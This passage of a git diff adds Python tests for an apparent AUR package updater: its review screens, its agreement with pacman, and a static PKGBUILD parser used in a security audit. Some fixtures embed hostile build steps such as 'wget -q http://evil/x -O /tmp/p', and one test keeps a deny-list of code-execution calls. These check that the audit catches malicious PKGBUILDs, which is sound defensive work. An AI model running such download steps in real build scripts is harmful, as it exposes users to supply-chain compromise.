+ assert not any("package(s)" in l.plain for l in lines)
+
+
+def test_audit_verdict_drives_the_row_tag():
+ from updater.render.review import aur_row_from
+
+ clean = aur_row_from("demo", "1", "2", None)
+ assert clean.tag == "U" and not clean.loud
+
+ report = sample_report(blocked=True)
+ flagged = aur_row_from("demo", "1.0", "1.1", report)
+ assert flagged.tag == "!!"
+ assert flagged.details, "a loud row must carry its evidence"
+
+
+def test_summary_parts_are_populated_for_a_real_change():
+ parts = summary_parts(sample_report())
+ text = " ".join(p[0] for p in parts)
+ assert "pkgver" in text and "sums" in text and "source" in text
+
+
+def test_no_baseline_shows_a_reference_listing_not_a_fake_diff():
+ """An all-additions diff would look like a total rewrite that never happened."""
+ lines = audit_screen(
+ sample_report(),
+ theme=THEME,
+ glyphs=GLYPHS,
+ width=100,
+ old_text="",
+ new_text="pkgver=1.0\nbuild() {\n make\n}\n",
+ baseline=False,
+ )
+ text = "\n".join(l.plain for l in lines)
+ assert "no baseline recorded" in text
+ # check the section heading, not the substring: "different host" contains DIFF
+ assert not any(l.plain.strip().upper().startswith("DIFF") for l in lines), (
+ "a diff section was rendered without a baseline"
+ )
+ assert "shown as reference" in text
+ # and no line may claim to be an addition
+ assert not any(l.plain.startswith("+ ") or l.plain.startswith("+ ") for l in lines)
+
+
+def test_with_a_baseline_the_diff_is_shown():
+ lines = audit_screen(
+ sample_report(),
+ theme=THEME,
+ glyphs=GLYPHS,
+ width=100,
+ old_text="pkgver=1.0\n",
+ new_text="pkgver=1.1\n",
+ baseline=True,
+ )
+ assert any(l.plain.strip().upper().startswith("DIFF") for l in lines)
+
+
+def test_diff_lines_marks_additions_and_removals():
+ rows = diff_lines("a\nb\nc\n", "a\nB\nc\n")
+ markers = {m for m, _n, _t in rows}
+ assert "-" in markers and "+" in markers
+ added = [t for m, _n, t in rows if m == "+"]
+ assert added == ["B"]
+
+
+def test_aur_package_metadata_renders_without_a_network():
+ """The client's shape is what the screen consumes; keep them compatible."""
+ pkg = AurPackage(name="demo", version="1.0-1", maintainer="alice", votes=3)
+ assert not pkg.is_orphaned and not pkg.is_flagged
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
+
+
+# --------------------------------------------------------------------------
+# clipping: "fits" versus "fits by luck"
+# --------------------------------------------------------------------------
+
+
+def test_realistic_screens_need_no_clipping_at_comfortable_widths():
+ """Wide enough that nothing should have to be thrown away."""
+ for width in (88, 100, 120, 160):
+ for kind in ("review", "build", "audit"):
+ screen = Screen(theme=THEME, glyphs=GLYPHS, columns=Columns.for_width(width))
+ if kind == "review":
+ review_screen(sample_review(), theme=THEME, glyphs=GLYPHS, width=width, into=screen)
+ elif kind == "build":
+ build_screen(
+ graph=sample_graph(),
+ theme=THEME,
+ glyphs=GLYPHS,
+ width=width,
+ into=screen,
+ feed=[FeedEntry("base", "1-1", 41.0)],
+ states=[BuildState("mid", "cargo", 12.0)],
+ completed={"base"},
+ running={"mid"},
+ totals=Totals(total=4, elapsed=252, download_bytes=12_400_000),
+ )
+ else:
+ audit_screen(sample_report(), theme=THEME, glyphs=GLYPHS, width=width, into=screen)
+ assert screen.clipped == 0, f"{kind} clipped {screen.clipped} cell(s) at width {width}"
+
+
+def test_narrow_terminals_clip_instead_of_corrupting():
+ """At the minimum width clipping is expected; overflow never is."""
+ for width in (MIN_WIDTH,):
+ screen = Screen(theme=THEME, glyphs=GLYPHS, columns=Columns.for_width(width))
+ lines = review_screen(sample_review(), theme=THEME, glyphs=GLYPHS, width=width, into=screen)
+ assert_fits(lines, width)
+
+
+def test_advisory_severity_decides_the_colour():
+ """Fixability has its own channel; the colour is for severity.
+
+ Using the colour for fixability made Critical and Low the same shade, which
+ is the one distinction a security list exists to make.
+ """
+ from updater.render.review import advisory_role
+
+ assert advisory_role("Critical") == "alert"
+ assert advisory_role("High") == "alert"
+ assert advisory_role("Medium") == "warn"
+ assert advisory_role("Low") == "accent"
+ assert advisory_role("Unknown") == "muted"
+ assert advisory_role("") == "muted"
+ roles = {advisory_role(s) for s in ("Critical", "Medium", "Low", "Unknown")}
+ assert len(roles) == 4, roles
diff --git a/tests/test_repo.py b/tests/test_repo.py
@@ -0,0 +1,407 @@
+"""repo.py tests.
+
+The valuable ones assert agreement with pacman itself. Every number here was
+originally checked by hand against `pacman -Q*`; this file keeps it that way,
+because a repo reader that quietly disagrees with pacman is worse than no reader
+at all -- it would report a plan that the transaction then contradicts.
+"""
+
+from __future__ import annotations
+
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import repo # noqa: E402
+
+PYALPM = True
+PACMAN = shutil.which("pacman") is not None
+
+
+def _code(fn) -> str:
+ """A function's source with all whitespace removed.
+
+ These assertions are about what the code does, and the exact line breaks
+ are the formatter's business -- pinning them made every one of these tests
+ fail the first time the tree was formatted.
+ """
+
+ return "".join(_code(fn).split())
+
+
+def pacman_lines(*args: str) -> list[str]:
+ proc = subprocess.run(["pacman", *args], capture_output=True, text=True, check=False)
+ return [line for line in proc.stdout.splitlines() if line.strip()]
+
+
+# --------------------------------------------------------------------------
+# configuration
+# --------------------------------------------------------------------------
+
+
+def _code(fn) -> str:
+ """A function's source with all whitespace removed.
+
+ These assertions are about what the code does; where the line breaks fall
+ is the formatter's business. Stripping whitespace from both the source and
+ the snippet means a reformat cannot make them fail.
+ """
+ import inspect
+
+ return _strip(inspect.getsource(fn))
+
+
+def _strip(s: str) -> str:
+ return "".join(s.split())
+
+
+def test_read_conf_finds_the_real_repositories():
+ config = repo.read_conf()
+ assert config.repos, "no repositories parsed from pacman.conf"
+ assert "options" not in config.repos, "'[options]' was mistaken for a repo"
+ for name in ("core", "extra"):
+ assert name in config.repos, name
+
+
+def test_read_conf_missing_file_falls_back_instead_of_raising():
+ config = repo.read_conf("/definitely/not/here/pacman.conf")
+ assert config.repos
+ assert config.ignore_pkg == frozenset()
+
+
+def test_read_conf_parses_ignore_lists(tmp: Path | None = None):
+ import tempfile
+
+ with tempfile.TemporaryDirectory() as td:
+ path = Path(td) / "pacman.conf"
+ path.write_text(
+ "[options]\n"
+ "IgnorePkg = linux nvidia\n"
+ "IgnoreGroup = modified\n"
+ "\n"
+ "[core]\n"
+ "Include = /etc/pacman.d/mirrorlist\n"
+ "\n"
+ "[extra]\n"
+ )
+ config = repo.read_conf(path)
+ assert set(config.ignore_pkg) == {"linux", "nvidia"}
+ assert set(config.ignore_group) == {"modified"}
+ assert config.repos == ("core", "extra")
+
+
+# --------------------------------------------------------------------------
+# the bug that made everything look up to date
+# --------------------------------------------------------------------------
+
+
+def test_connect_registers_every_configured_repo():
+ """Without explicit registration pyalpm reports zero sync dbs.
+
+ Which means zero updates, which is indistinguishable from a system that is
+ fully up to date.
+ """
+ if not PACMAN:
+ return
+ config = repo.read_conf()
+ with repo.connect() as handle:
+ registered = {db.name for db in handle.get_syncdbs()}
+ assert registered == set(config.repos), f"registered {registered}, expected {set(config.repos)}"
+
+
+# --------------------------------------------------------------------------
+# agreement with pacman
+# --------------------------------------------------------------------------
+
+
+def test_plan_agrees_with_pacman_on_the_number_of_upgrades():
+ if not PACMAN:
+ return
+ with repo.connect() as handle:
+ mine = len(repo.plan(handle))
+ assert mine == len(pacman_lines("-Qu")), "plan disagrees with pacman -Qu"
+
+
+def test_orphans_match_both_of_pacmans_strictness_levels():
+ """A package merely *suggested* by another is not an orphan to `-Qtd`."""
+ if not PACMAN:
+ return
+ with repo.connect() as handle:
+ strict = repo.orphans(handle)
+ loose = repo.orphans(handle, include_optional=True)
+ assert len(strict) == len(pacman_lines("-Qtdq"))
+ assert len(loose) == len(pacman_lines("-Qttdq"))
+ # and the loose set is a superset, since it counts fewer things as required
+ assert set(strict) <= set(loose)
+
+
+def test_foreign_explicit_and_installed_agree_with_pacman():
+ if not PACMAN:
+ return
+ with repo.connect() as handle:
+ foreign = repo.foreign(handle)
+ explicit = repo.explicit(handle)
+ installed = repo.installed(handle)
+ assert len(foreign) == len(pacman_lines("-Qqm"))
+ assert len(explicit) == len(pacman_lines("-Qqe"))
+ assert len(installed) == len(pacman_lines("-Qq"))
+ # every foreign package is installed, by definition
+ assert set(foreign) <= set(installed)
+ assert set(explicit) <= set(installed)
+
+
+def test_installed_reports_real_versions():
+ with repo.connect() as handle:
+ installed = repo.installed(handle)
+ assert installed, "no packages reported as installed"
+ assert "pacman" in installed
+ assert installed["pacman"][0].isdigit(), installed["pacman"]
+
+
+def test_plan_never_reports_a_foreign_package_as_a_removal():
+ """AUR packages have no sync entry and `pacman -Su` leaves them alone."""
+ with repo.connect() as handle:
+ plan = repo.plan(handle)
+ foreign = set(repo.foreign(handle))
+ assert not hasattr(plan, "removals"), "the removals field came back"
+ assert not (foreign & {u.name for u in plan.updates})
+
+
+def test_plan_totals_are_sums_of_their_parts():
+ with repo.connect() as handle:
+ plan = repo.plan(handle)
+ assert plan.download_total == sum(u.download for u in plan.updates)
+ assert plan.installed_delta == sum(u.delta for u in plan.updates)
+ assert len(plan) == len(plan.updates)
+
+
+# --------------------------------------------------------------------------
+# refresh machinery
+# --------------------------------------------------------------------------
+
+
+def test_sync_argv_uses_fakeroot_when_available():
+ """pacman's sandbox refuses files it does not own, so fakeroot matters."""
+ argv = repo._sync_argv("/tmp/example")
+ assert "--dbpath" in argv and "/tmp/example" in argv
+ if shutil.which("fakeroot"):
+ assert argv[0] == "fakeroot"
+ assert "--disable-sandbox-filesystem" in argv
+ # and it must never be able to touch the real database
+ assert "/var/lib/pacman" not in " ".join(argv)
+
+
+def test_sync_db_age_is_a_number_or_none():
+ age = repo.sync_db_age()
+ assert age is None or age >= 0
+
+
+def test_sync_db_age_of_a_missing_path_is_none():
+ assert repo.sync_db_age("/definitely/not/here") is None
+
+
+def test_preview_always_yields_a_usable_handle_even_when_sync_fails():
+ """Offline, or a mirror outage, must degrade to the databases on disk."""
+ with repo.preview(sync=False) as (handle, refreshed, note):
+ assert refreshed is False
+ assert note, "an unrefreshed preview must say so"
+ # and it still answers questions rather than collapsing
+ assert repo.installed(handle)
+ assert isinstance(repo.plan(handle).updates, list)
+
+
+def test_preview_reports_a_reason_when_it_cannot_sync():
+ with repo.preview(sync=False) as (_handle, _refreshed, note):
+ assert "skip" in note.lower() or "refresh" in note.lower()
+
+
+def test_a_preview_almost_matching_pacman_proves_the_sync_path_reads_the_same_format():
+ """With sync disabled the preview must equal a plain connect()."""
+ with repo.preview(sync=False) as (preview_handle, _r, _n):
+ preview_plan = repo.plan(preview_handle)
+ with repo.connect() as handle:
+ direct_plan = repo.plan(handle)
+ assert len(preview_plan.updates) == len(direct_plan.updates)
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+# --------------------------------------------------------------------------
+# sizes, against pacman's own numbers
+# --------------------------------------------------------------------------
+
+
+def _pacman_size(args: list[str], needle: str) -> dict[str, int]:
+ """Parse `pacman -Qi/-Si` human sizes back into bytes, for comparison."""
+ import re
+ import subprocess
+
+ out = subprocess.run(["pacman", *args], capture_output=True, text=True, check=False).stdout
+ sizes: dict[str, int] = {}
+ name = None
+ units = {"B": 1, "KiB": 1024, "MiB": 1024**2, "GiB": 1024**3}
+ for line in out.splitlines():
+ if line.startswith("Name "):
+ name = line.split(":", 1)[1].strip()
+ elif needle in line and name:
+ m = re.search(r"([\d.]+)\s*(\w+)", line.split(":", 1)[1])
+ if m:
+ sizes[name] = int(float(m.group(1)) * units.get(m.group(2), 1))
+ return sizes
+
+
+def test_installed_size_matches_pacman():
+ """pyalpm's `isize` must agree with `pacman -Qi`.
+
+ `size` is not a substitute: it is 0 on a local package and the download size
+ on a sync one, which made every on-disk delta look like a full-size increase.
+ """
+ with repo.connect() as handle:
+ installed = repo.installed(handle)
+ names = sorted(installed)[:40]
+ if not names:
+ return
+ truth = _pacman_size(["-Qi", *names], "Installed Size")
+ local = {p.name: p for p in handle.get_localdb().pkgcache}
+
+ checked = 0
+ for name, expected in truth.items():
+ pkg = local.get(name)
+ if pkg is None or expected == 0:
+ continue
+ got = getattr(pkg, "isize", 0)
+ # pacman rounds to two decimals, so allow a little slack
+ assert abs(got - expected) <= max(2048, expected * 0.01), (
+ f"{name}: isize={got:,} but pacman says {expected:,}"
+ )
+ checked += 1
+ assert checked >= 5, f"only compared {checked} packages"
+
+
+def test_sync_size_agrees_with_pacman_and_is_not_the_download_size():
+ with repo.connect() as handle:
+ best = repo._best_versions(handle)
+ names = sorted(best)[:40]
+ if not names:
+ return
+ installed_truth = _pacman_size(["-Si", *names], "Installed Size")
+ download_truth = _pacman_size(["-Si", *names], "Download Size")
+
+ compared = 0
+ for name in names:
+ sp = best.get(name)
+ if sp is None:
+ continue
+ want_installed = installed_truth.get(name, 0)
+ if want_installed == 0:
+ continue
+ got = getattr(sp, "isize", 0)
+ assert abs(got - want_installed) <= max(2048, want_installed * 0.01), (
+ f"{name}: isize={got:,} but pacman says {want_installed:,}"
+ )
+ # and it must not have been confused with the download size
+ want_download = download_truth.get(name, 0)
+ if want_download and want_installed != want_download:
+ assert got != want_download, f"{name}: isize was populated with the download size"
+ compared += 1
+ assert compared >= 3, f"only compared {compared} packages"
+
+
+def test_an_unchanged_package_has_a_zero_delta_not_a_full_size():
+ """The regression: delta used to be the whole installed size."""
+ with repo.connect() as handle:
+ local = handle.get_localdb()
+ best = repo._best_versions(handle)
+ same = [
+ (lp, best[lp.name])
+ for lp in local.pkgcache
+ if lp.name in best and best[lp.name].version == lp.version
+ ]
+ assert same, "no packages at their sync version to check"
+ for lp, sp in same[:50]:
+ delta = getattr(sp, "isize", 0) - getattr(lp, "isize", 0)
+ assert delta == 0, f"{lp.name}: unchanged but delta is {delta:,}"
+ assert delta != getattr(sp, "isize", 0) or getattr(sp, "isize", 0) == 0
+
+
+def test_size_is_the_trap_and_isize_is_the_answer():
+ """Documents the pyalpm semantics that caused the wrong-size bug.
+
+ On a sync package `size` is the compressed download size, not the installed
+ size; on a local package it is 0. `isize` is the installed size in both
+ cases. A tiny package can legitimately download larger than it installs, so
+ the only trustworthy check is against pacman, which the tests above do.
+ """
+ with repo.connect() as handle:
+ best = repo._best_versions(handle)
+ matched = 0
+ for name, sp in list(best.items())[:300]:
+ size = getattr(sp, "size", 0)
+ download = getattr(sp, "download_size", 0)
+ if size and download:
+ assert size == download, f"{name}: sync `size` was expected to equal download_size"
+ matched += 1
+ assert matched >= 5, f"only checked {matched} sync packages"
+
+ # and on a local package it carries nothing useful
+ local = list(handle.get_localdb().pkgcache)[:200]
+ assert local, "no local packages to check"
+ zeroed = sum(1 for lp in local if getattr(lp, "size", 0) == 0)
+ assert zeroed > len(local) // 2, (
+ f"local `size` was 0 for only {zeroed}/{len(local)}; pyalpm changed"
+ )
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
+
+
+def test_ignore_pkg_is_a_glob_not_a_literal_name():
+ """pacman.conf documents both lists as shell globs.
+
+ Comparing for equality meant `IgnorePkg = linux*` matched nothing and the
+ plan offered packages pacman would refuse to touch.
+ """
+
+ class P:
+ def __init__(self, name, groups=()):
+ self.name, self.groups = name, list(groups)
+
+ class H:
+ ignorepkgs = ["linux*", "nvidia"]
+ ignoregrps = ["plasma*"]
+
+ assert repo._is_ignored(H(), P("linux")) is True
+ assert repo._is_ignored(H(), P("linux-lts")) is True
+ assert repo._is_ignored(H(), P("nvidia")) is True
+ assert repo._is_ignored(H(), P("mesa")) is False
+ assert repo._is_ignored(H(), P("kwin", ["plasma-desktop"])) is True
+ assert repo._is_ignored(H(), P("kwin", ["gnome"])) is False
+
+
+def test_every_handle_registers_the_ignore_lists():
+ """`connect()` did and `preview()` did not, and the plan uses preview.
+
+ So `_is_ignored` always saw an empty list and offered every IgnorePkg
+ package as a pending upgrade.
+ """
+
+ for fn in (repo.connect, repo.preview, repo._fallback):
+ source = _code(fn)
+ assert _strip("_register_ignores") in source, fn.__name__
diff --git a/tests/test_srcinfo.py b/tests/test_srcinfo.py
@@ -0,0 +1,486 @@
+"""The static PKGBUILD parser.
+
+This module is load-bearing for security. A parse bug here does not merely show
+the wrong version: it means the audit inspected different text from what the
+build will run, and a review that should have blocked a package passes. The
+tests are written against shell semantics, verified with bash where it matters,
+rather than against whatever the parser happened to do.
+
+Nothing here may execute a PKGBUILD.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import sys
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import srcinfo # noqa: E402
+from updater.audit import ( # noqa: E402
+ Change,
+ Severity,
+ functions_generated,
+ scan_patterns,
+ scan_sums,
+)
+from updater.srcinfo import ( # noqa: E402
+ _expand_braces,
+ _scan_array_end,
+ _split_words,
+ _strip_comment,
+ parse_pkgbuild,
+ parse_srcinfo,
+)
+
+CLONE = Path.home() / ".cache/paru/clone"
+
+
+def bash_expand(source: str) -> list[str]:
+ """What bash actually produces for an array, as the ground truth."""
+ script = f'arr={source}\nfor x in "${{arr[@]}}"; do printf "%s\\n" "$x"; done'
+ out = subprocess.run(
+ ["bash", "-c", script], capture_output=True, text=True, timeout=10, check=False
+ ).stdout
+ return out.splitlines()
+
+
+# --------------------------------------------------------------------------
+# the invariant
+# --------------------------------------------------------------------------
+
+
+def test_nothing_in_this_module_can_execute_a_pkgbuild():
+ """A `source`-ing shortcut would run the maintainer's code at review time."""
+ import re as remod
+
+ body = Path(srcinfo.__file__).read_text()
+ forbidden = [
+ r"\bsubprocess\b",
+ r"\bos\.system\b",
+ r"\bpopen\b",
+ r"(?<![.\w])exec\s*\(", # bare exec(), not subprocess.exec
+ r"(?<![.\w])eval\s*\(",
+ r"(?<![.\w])compile\s*\(", # re.compile is a regex, not code
+ ]
+ for pattern in forbidden:
+ assert not remod.search(pattern, body), f"{pattern} appears in srcinfo.py"
+
+
+# --------------------------------------------------------------------------
+# comments
+# --------------------------------------------------------------------------
+
+
+def test_a_hash_inside_a_word_is_not_a_comment():
+ """Shell only starts a comment when `#` begins a word."""
+ assert (
+ _strip_comment("source=(git+https://h/r.git#tag=x)") == "source=(git+https://h/r.git#tag=x)"
+ )
+ assert _strip_comment("x=${#arr[@]}") == "x=${#arr[@]}"
+ assert _strip_comment("echo $#") == "echo $#"
+ assert _strip_comment("x=#nothash") == "x=#nothash"
+
+
+def test_a_hash_at_a_word_boundary_is_a_comment():
+ assert _strip_comment("x=1 # a comment") == "x=1 "
+ assert _strip_comment("# whole line") == ""
+ assert _strip_comment("\t# indented") == "\t"
+
+
+def test_a_quoted_hash_is_never_a_comment():
+ assert _strip_comment('x="a # b"') == 'x="a # b"'
+ assert _strip_comment("x='a # b'") == "x='a # b'"
+
+
+def test_a_hash_in_a_source_does_not_eat_the_next_assignment():
+ """The original bug: this swallowed `b2sums`, leaving the audit blind."""
+ pb = parse_pkgbuild(
+ "pkgname=x\n_tag=abc\nsource=(git+https://h/r.git#tag=${_tag})\nb2sums=('SKIP')\n"
+ )
+ assert pb.get("source") == ["git+https://h/r.git#tag=${_tag}"], pb.get("source")
+ assert pb.get("b2sums") == ["SKIP"], pb.get("b2sums")
+
+
+def test_a_hash_does_not_skew_brace_depth_and_swallow_a_function():
+ """A truncated line used to remove a `}`, so check() ate package()."""
+ pb = parse_pkgbuild(
+ "check() {\n"
+ " if (( ${#site_packages[@]} != 1 )); then return 1; fi\n"
+ "}\n"
+ "package() {\n"
+ ' install -Dm644 x "$pkgdir/x"\n'
+ "}\n"
+ )
+ assert "check" in pb.funcs and "package" in pb.funcs, sorted(pb.funcs)
+ assert "install" in pb.funcs["package"]
+
+
+# --------------------------------------------------------------------------
+# checksums
+# --------------------------------------------------------------------------
+
+
+def test_every_checksum_field_exists():
+ """These were named in _LIST_FIELDS but never declared, so .SRCINFO values
+ for them were silently discarded."""
+ info = parse_srcinfo("")
+ for field in ("sha256sums", "sha512sums", "b2sums", "md5sums"):
+ assert hasattr(info, field), f"SrcInfo has no {field}"
+
+
+def test_srcinfo_keeps_alternative_checksum_lists():
+ text = (
+ "pkgbase=x\npkgver=1\nsource = a.tar.gz\n"
+ "sha512sums = aaaa\nsha512sums = SKIP\nb2sums = bbbb\n"
+ )
+ info = parse_srcinfo(text)
+ assert info.sha512sums == ["aaaa", "SKIP"], info.sha512sums
+ assert info.b2sums == ["bbbb"], info.b2sums
+
+
+def test_primary_sums_picks_the_list_that_parallels_source():
+ info = parse_srcinfo("pkgbase=x\nsource = a\nb2sums = bb\n")
+ assert info.primary_sums == ["bb"]
+ both = parse_srcinfo("pkgbase=x\nb2sums = bb\nsha256sums = aa\n")
+ assert both.primary_sums == ["aa"], "sha256sums should win by preference"
+
+
+def test_primary_sums_is_empty_when_nothing_is_declared():
+ assert parse_srcinfo("pkgbase=x\n").primary_sums == []
+
+
+def test_a_skip_on_a_b2sums_only_package_is_still_blocked():
+ """The security consequence of dropping those fields.
+
+ `scan_sums` looked only at sha256sums, so a package checksummed with
+ sha512sums appeared to declare no checksums, and a newly introduced SKIP on
+ a plain tarball produced no finding at all.
+ """
+ old = parse_srcinfo("pkgbase=x\nsource = https://ex/a.tar.gz\nsha512sums = aaaa\n")
+ new = parse_srcinfo("pkgbase=x\nsource = https://ex/a.tar.gz\nsha512sums = SKIP\n")
+ findings = scan_sums(Change(package="x", old_srcinfo=old, new_srcinfo=new), None)
+ assert any(f.severity is Severity.BLOCK for f in findings), findings
+ assert [f.rule for f in findings] == ["sums-skip-introduced"]
+
+
+def test_a_skip_on_a_vcs_source_with_sha512sums_is_only_informational():
+ old = parse_srcinfo("pkgbase=x\nsource = git+https://e/r.git\nsha512sums = aaaa\n")
+ new = parse_srcinfo("pkgbase=x\nsource = git+https://e/r.git\nsha512sums = SKIP\n")
+ findings = scan_sums(Change(package="x", old_srcinfo=old, new_srcinfo=new), None)
+ assert [f.severity for f in findings] == [Severity.INFO], findings
+
+
+def test_an_existing_skip_is_not_reported_as_new():
+ text = "pkgbase=x\nsource = https://e/a.tar.gz\nsha512sums = SKIP\n"
+ findings = scan_sums(
+ Change(package="x", old_srcinfo=parse_srcinfo(text), new_srcinfo=parse_srcinfo(text)), None
+ )
+ assert [f.severity for f in findings] == [Severity.INFO], findings
+
+
+# --------------------------------------------------------------------------
+# arrays
+# --------------------------------------------------------------------------
+
+
+def test_a_closing_paren_inside_quotes_does_not_end_the_array():
+ pb = parse_pkgbuild("optdepends=(\n 'foo: does things (fast)'\n 'bar: another'\n)")
+ assert pb.get("optdepends") == ["foo: does things (fast)", "bar: another"], pb.get("optdepends")
+
+
+def test_a_command_substitution_keeps_its_spaces():
+ """shlex split inside `$(...)`, detaching a source from its identity."""
+ assert _split_words("$(_checksum ${_tag}) SKIP") == ["$(_checksum ${_tag})", "SKIP"]
+ assert _split_words("$(printf '%s' a) b") == ["$(printf '%s' a)", "b"]
+
+
+def test_scan_array_end_skips_substitutions_and_quotes():
+ assert _scan_array_end("a b)") == 3
+ assert _scan_array_end("'a ) b' c)") == 9
+ assert _scan_array_end("$(a b) c)") == 8
+ # `$((` nests, so a naive depth counter mistakes its own `)` for the array's
+ assert _scan_array_end("$(( 1 + 2 )) x)") == 14
+ # and a substitution inside double quotes is its own context
+ assert _scan_array_end('"$(sed -n "s/x/y/p" f)" )') == 24
+ assert _scan_array_end("unterminated") == -1
+
+
+def test_a_line_continuation_inside_an_array_is_not_an_element():
+ pb = parse_pkgbuild("source=(a \\\n b)\n")
+ assert pb.get("source") == ["a", "b"], pb.get("source")
+
+
+def test_quoting_styles_all_work():
+ for body, want in (
+ ("'a b' c", ["a b", "c"]),
+ ('"x y" z', ["x y", "z"]),
+ ("a\\ b c", ["a b", "c"]),
+ ("plain", ["plain"]),
+ ("'it'", ["it"]),
+ ):
+ assert _split_words(body) == want, (body, _split_words(body))
+
+
+# --------------------------------------------------------------------------
+# brace expansion
+# --------------------------------------------------------------------------
+
+
+def test_brace_lists_expand_the_way_bash_expands_them():
+ cases = ["foo{,.sig}", "a{b,c}d", "{a,b}", "x{a,b}y{c,d}"]
+ for case in cases:
+ assert _expand_braces(case) == bash_expand(f"({case})"), case
+
+
+def test_a_substitution_brace_is_not_a_brace_list():
+ """`${pkgver}` contains braces and is not a list."""
+ assert _expand_braces("${pkgver}") == ["${pkgver}"]
+ assert _expand_braces("${a}") == ["${a}"]
+ got = _expand_braces("x/sdl2-${pkgver}.tar.gz{,.sig}")
+ assert got == ["x/sdl2-${pkgver}.tar.gz", "x/sdl2-${pkgver}.tar.gz.sig"], got
+
+
+def test_a_brace_without_a_comma_is_literal():
+ assert _expand_braces("{a}") == ["{a}"]
+ assert _expand_braces("{}") == ["{}"]
+
+
+def test_brace_expansion_keeps_source_aligned_with_checksums():
+ """Sources and checksums are paired by index, so a short source list shifts
+ every checksum onto the wrong entry."""
+ pb = parse_pkgbuild("source=(\"https://x/s.tar.gz\"{,.sig})\nsha512sums=('aaa' 'SKIP')\n")
+ assert len(pb.get("source")) == 2, pb.get("source")
+ assert len(pb.get("source")) == len(pb.get("sha512sums"))
+
+
+# --------------------------------------------------------------------------
+# scalars and assignment forms
+# --------------------------------------------------------------------------
+
+
+def test_a_scalar_keeps_its_whole_value():
+ """Taking the first word truncated every unquoted multi-word value."""
+ assert parse_pkgbuild("pkgdesc=hello world\n").one("pkgdesc") == "hello world"
+ assert parse_pkgbuild('pkgdesc="hello world"\n').one("pkgdesc") == "hello world"
+ assert parse_pkgbuild("pkgdesc='a b'\n").one("pkgdesc") == "a b"
+
+
+def test_plus_equals_appends_and_equals_replaces():
+ assert parse_pkgbuild("depends=(a)\ndepends+=(b c)\n").get("depends") == ["a", "b", "c"]
+ assert parse_pkgbuild("depends=(a)\ndepends=(b)\n").get("depends") == ["b"]
+
+
+# --------------------------------------------------------------------------
+# functions
+# --------------------------------------------------------------------------
+
+
+def test_a_subshell_function_body_is_parsed():
+ """`check() (` is valid shell and was not matched at all."""
+ pb = parse_pkgbuild(
+ "check() (\n wget http://evil/x\n git clone https://evil/y\n)\npackage() { :; }\n"
+ )
+ assert "check" in pb.funcs, sorted(pb.funcs)
+ assert "wget" in pb.funcs["check"] and "git clone" in pb.funcs["check"], pb.funcs["check"]
+
+
+def test_a_hyphenated_split_package_function_is_parsed():
+ pb = parse_pkgbuild("package_lib32-gstreamer() { :; }\n")
+ assert "package_lib32-gstreamer" in pb.funcs, sorted(pb.funcs)
+
+
+def test_a_brace_on_the_next_line_is_parsed():
+ pb = parse_pkgbuild("prepare()\n{\n patch -p1 < x.patch\n}\n")
+ assert "patch" in pb.funcs.get("prepare", ""), pb.funcs
+
+
+def test_a_brace_inside_a_string_does_not_end_the_body():
+ pb = parse_pkgbuild('build() {\n echo "}"\n make -j"$N"\n}\npackage() { :; }\n')
+ assert "make" in pb.funcs.get("build", ""), pb.funcs.get("build")
+ assert "package" in pb.funcs, sorted(pb.funcs)
+
+
+def test_a_network_call_in_a_subshell_check_is_reachable_by_the_audit():
+ """The bypass the audit named: the body must exist for rules to see it."""
+ pb = parse_pkgbuild("check() (\n wget -q http://evil/x -O /tmp/p\n)\npackage() { :; }\n")
+ assert "wget" in pb.funcs.get("check", ""), "the body was not parsed"
+ findings = scan_patterns(Change(package="x", new_pkgbuild=pb))
+ assert findings, "a download inside check() produced no finding at all"
+
+
+def test_functions_generated_at_runtime_are_still_scanned():
+ """`eval "package_x() { ... }"` evaded every function-scoped rule.
+
+ Static parsing cannot attribute those bodies to a name, so scoped rules
+ found nothing and reported a clean result -- the worst outcome for a
+ security check.
+ """
+ text = (
+ "pkgbase=x\npkgname=(x)\n"
+ "main() {\n"
+ ' eval "package_${pkgbase}() {\n'
+ " wget -q http://evil/x -O /tmp/p\n"
+ ' }"\n'
+ "}\n"
+ )
+ pb = parse_pkgbuild(text)
+ assert "package" not in pb.funcs
+ assert functions_generated(pb), "function generation was not detected"
+ findings = scan_patterns(Change(package="x", new_pkgbuild=pb))
+ assert findings, "code inside a generated function was never scanned"
+
+
+def test_a_normal_pkgbuild_is_not_treated_as_generating_functions():
+ pb = parse_pkgbuild("build() { make; }\npackage() { :; }\n")
+ assert not functions_generated(pb)
+
+
+# --------------------------------------------------------------------------
+# real packages
+# --------------------------------------------------------------------------
+
+
+def _parsed(package: str):
+ directory = CLONE / package
+ if not (directory / "PKGBUILD").is_file():
+ return None, None
+ pb = parse_pkgbuild((directory / "PKGBUILD").read_text(errors="replace"))
+ si_path = directory / ".SRCINFO"
+ si = parse_srcinfo(si_path.read_text(errors="replace")) if si_path.is_file() else None
+ return pb, si
+
+
+def test_no_real_pkgbuild_raises_and_none_loses_its_functions():
+ if not CLONE.is_dir():
+ return
+ problems = []
+ checked = 0
+ for directory in sorted(d for d in CLONE.iterdir() if d.is_dir()):
+ path = directory / "PKGBUILD"
+ if not path.is_file():
+ continue
+ text = path.read_text(errors="replace")
+ try:
+ pb = parse_pkgbuild(text)
+ except Exception as exc: # noqa: BLE001
+ problems.append(f"{directory.name}: raised {type(exc).__name__}: {exc}")
+ continue
+ checked += 1
+ # every package must expose a package() of some form, unless it builds
